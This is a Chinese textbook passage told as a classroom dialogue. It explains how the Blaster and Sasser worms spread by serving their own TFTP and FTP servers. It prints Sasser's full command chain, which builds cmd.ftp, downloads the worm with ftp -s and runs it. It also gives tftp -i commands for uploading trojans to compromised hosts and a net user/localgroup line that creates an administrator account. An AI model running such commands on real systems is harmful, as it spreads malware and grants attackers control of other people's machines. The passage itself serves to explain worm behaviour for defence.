6.3.2 TTP和FTP客户端——冲击波/震荡波传播的实现

“而第二个技巧,就是考虑蠕虫病毒们的传播技巧。”

“Nimda、冲击波以及震荡波蠕虫,都曾给网络带来巨大的破坏,其传播速度之快,除了很多机器系统本身具有漏洞之外,还有个重要的原因:蠕虫具有很强的在网络上自我复制和传输的能力。”

大家都认真的听着。

“我们这里只分析它们的传播方法,不教大家如何写蠕虫病毒!”老师强调说,“让大家知道怎样更好的防范。”

“嗯,知道了,老师接着说吧!”

“Nimda和冲击波在网络上的自我复制和传输,是利用TFTP来实现的;而震荡波,则是进行了改进,用FTP实现的。”

“让我们来看看TFTP是如何工作的。以下载文件为例,在开始工作时,客户发送一个读请求给服务器,如果请求的文件能被读取,TFTP服务器就返回一个块编号为1的数据分组;TFTP客户发送一个块编号为1的ACK;TFTP服务器随后发送块编号为2的数据;TFTP客户发回块编号为2的ACK。重复这个过程,直至这个文件传送完毕。”

小知识:TFTP是基于UDP的,其数据报有四种类型

第一种:客户发出的是读或写请求,含有文件名和模式。操作码是1或2。

第二种:服务器发送的数据,含有块编号和512字节的数据。操作码是3。

第三种:客户发的回应,含有收到的块编号。操作码是4。

第四种:错误信息,含有差错码和差错信息。操作码是5。

其类型如图6-20,我们可据此编写出TFTP的服务器。

“好了,说了这么多,在Windows中,我们利用现成的TFTP服务程序来实现上传和下载文件是很简单的。TFTPD32.exe是个很好的TFTP服务器,由Ph.Jounin编写。直接运行TFTPD32.exe,就可建立一个TFTP服务器。可以选择要绑定的IP和目录文件夹,其运行界面如图6-21。”

“而TFTP的客户端是Windows自带的。在命令行下直接运行 TFTP –i IP Get (Put) FileName 就可在本机执行TFTP客户端,以供和服务器传输文件。如图6-22,在IP为192.168.1.166的TFTP服务器上下载了一个名为ww.txt的文件。”

“这招常被黑客使用:他们在自己的主机上建一个TFTP服务器,进入别人的主机后,直接输 tftp –i 自己ip Get (Put) FileName 就可实现文件上传/下载,如下载自己感兴趣的东东,或上传一个木马之类的。”

“然而在Nimda和冲击波等病毒中,它们用的是谁的TFTP服务器呢?肯定不会是用TFTPD32建立的服务器吧!那是谁建的服务器呢?”同学们问道。

“嗯,答案就是:病毒自己!在病毒程序中,自己实现了一个TFTP服务器!”

“哦?”

“冲击波运行时,分成了两个线程。”

“其中一个线程功能是:在本机绑定并监听69端口,建立一个TFTP服务器等待别的机器来连接。如果有其他主机连接这个服务器,则会把msblast.exe文件传送过去。”

“另一个就是攻击线程。它向其他主机的135端口发送攻击代码——ShellCode,如果其他主机有系统漏洞,就会执行攻击代码。而它的攻击代码是精心构造的,所完成的功能就是执行 TFTP -i ip GET msblast.exe 去下载冲击波程序,下载完毕后并且执行。”

“哦,冲击波的ShellCode就只是 TFTP -i ip GET msblast.exe 这句话啊?那和我们的ShellCode比起来,差远了也!”古风说道。

“呵呵!是的,通过改ShellCode和覆盖地址,可使它的功能更通用、强大。”老师说道,“我们再来看看震荡波,它是通过FTP来传播的。”

“FTP和TFTP相比较,功能更加完善,不仅可完成上传和下载文件的功能,还可列出目录,可进行用户名和密码的认证,并且可对文件传送与存储方式进行选择等。在Windows下,有许多可以建立FTP服务器的软件,比如Serv_U、WP_FTP等,还可安装IIS服务来建立FTP服务器等。”

“震荡波运行时,也是分成了多个线程。其中一个是在本机的5554端口上,产生一个小型的FTP服务器!震荡波就利用这个服务器来向其他有漏洞的主机发送蠕虫本身文件!”

“接下来,震荡波向其他主机发送攻击代码,如果对方主机有漏洞,则会在9996端口绑定一个Shell,并且会执行以下命令: echo off&echo open [infecting machine's IP] 5554>>cmd.ftp&echo anonymous>>cmd.ftp&echo user&echo bin>>cmd.ftp&echo get [rand]_up.exe>>cmd.ftp&echo bye>>cmd.ftp&echo on&ftp -s:cmd.ftp&[rand]i_up.exe&echo off&del cmd.ftp&echo on ”

“我对上面的命令解释一下。大家知道,‘&’前后的命令在DOS下会依次执行。比如 net use ww /add & net localgroup administrators ww /add ,就会先添加一个名为‘ww’的用户,然后再将‘ww’加入管理员组。”

“这里震荡波先使用重定向符号‘>>’向cmd.ftp文件中输入:”

  open [infecting machine's IP] 5554 //连接5554端口,即进入小型FTP服务器
  anonymous //用户名,为匿名
  user //密码
  bin //二进制模式
  get [rand]_up //接收震荡波蠕虫的文件!!
  bye //退出FTP服务器

“然后再用经典的:”

ftp -s:cmd.ftp //即用cmd.ftp内的参数,执行ftp,完成下载★

“最后执行震荡波蠕虫文件和删除cmd.ftp:”

[rand]i_up.exe del cmd.ftp★

“这样,就完成了震荡波从一台主机向另一台主机的传播!”

“哦,原来是这样啊!还是比较简单啊!”

“呵呵,大家经过这半期的学习,应该能轻松写出比他们更好的功能吧?”

“嗯,是啊!原来传说中的冲击波/震荡波病毒也没多了不起啊!”古风自信的说。

“老师,你说他们写冲击波/震荡波干嘛?只是传播一下么?对作者什么用处也没有?”玉波问道。

“他们只是想表达一种表现欲!希望别人佩服自己的能力。”老师说道,“大家可千万不要这样啊!这可是违法国家法律的行为。”